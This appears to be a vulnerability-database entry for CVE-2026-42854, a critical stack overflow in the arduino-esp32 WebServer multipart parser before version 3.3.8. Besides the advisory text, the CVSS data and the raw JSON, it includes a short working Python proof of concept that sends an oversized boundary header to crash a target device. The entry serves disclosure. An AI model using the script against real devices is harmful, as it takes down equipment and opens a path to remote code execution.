Security Vulnerability Report
中文
CVE-2026-42854 CVSS 9.8 CRITICAL

CVE-2026-42854

Published: 2026-05-12 22:16:35
Last Modified: 2026-05-13 16:16:49

Description

arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer multipart form parser in arduino-esp32 allocates a Variable Length Array (VLA) on the stack whose size is derived from an attacker-controlled HTTP header field (Content-Type: multipart/form-data; boundary=...) without enforcing any length limit. Sending a boundary string longer than ~8000 characters overflows the 8192-byte task stack of the loopTask, causing a crash and potential remote code execution. This vulnerability is fixed in 3.3.8.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

arduino-esp32 < 3.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://<TARGET_IP>/upload" # Create a boundary string longer than 8000 characters to trigger stack overflow long_boundary = "A" * 8500 headers = { "Content-Type": f"multipart/form-data; boundary={long_boundary}" } # Minimal payload structure to trigger the parser payload = f"--{long_boundary}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\ntest\r\n--{long_boundary}--\r\n" try: response = requests.post(target_url, headers=headers, data=payload) print(f"Request sent. Status: {response.status_code}") except requests.exceptions.RequestException as e: # Connection might drop if the device crashes print(f"Device likely crashed due to stack overflow: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42854", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:34.930", "lastModified": "2026-05-13T16:16:48.700", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer multipart form parser in arduino-esp32 allocates a Variable Length Array (VLA) on the stack whose size is derived from an attacker-controlled HTTP header field (Content-Type: multipart/form-data; boundary=...) without enforcing any length limit. Sending a boundary string longer than ~8000 characters overflows the 8192-byte task stack of the loopTask, causing a crash and potential remote code execution. This vulnerability is fixed in 3.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/espressif/arduino-esp32/security/advisories/GHSA-8cmm-3887-r32j", "source": "[email protected]"}, {"url": "https://github.com/espressif/arduino-esp32/security/advisories/GHSA-8cmm-3887-r32j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}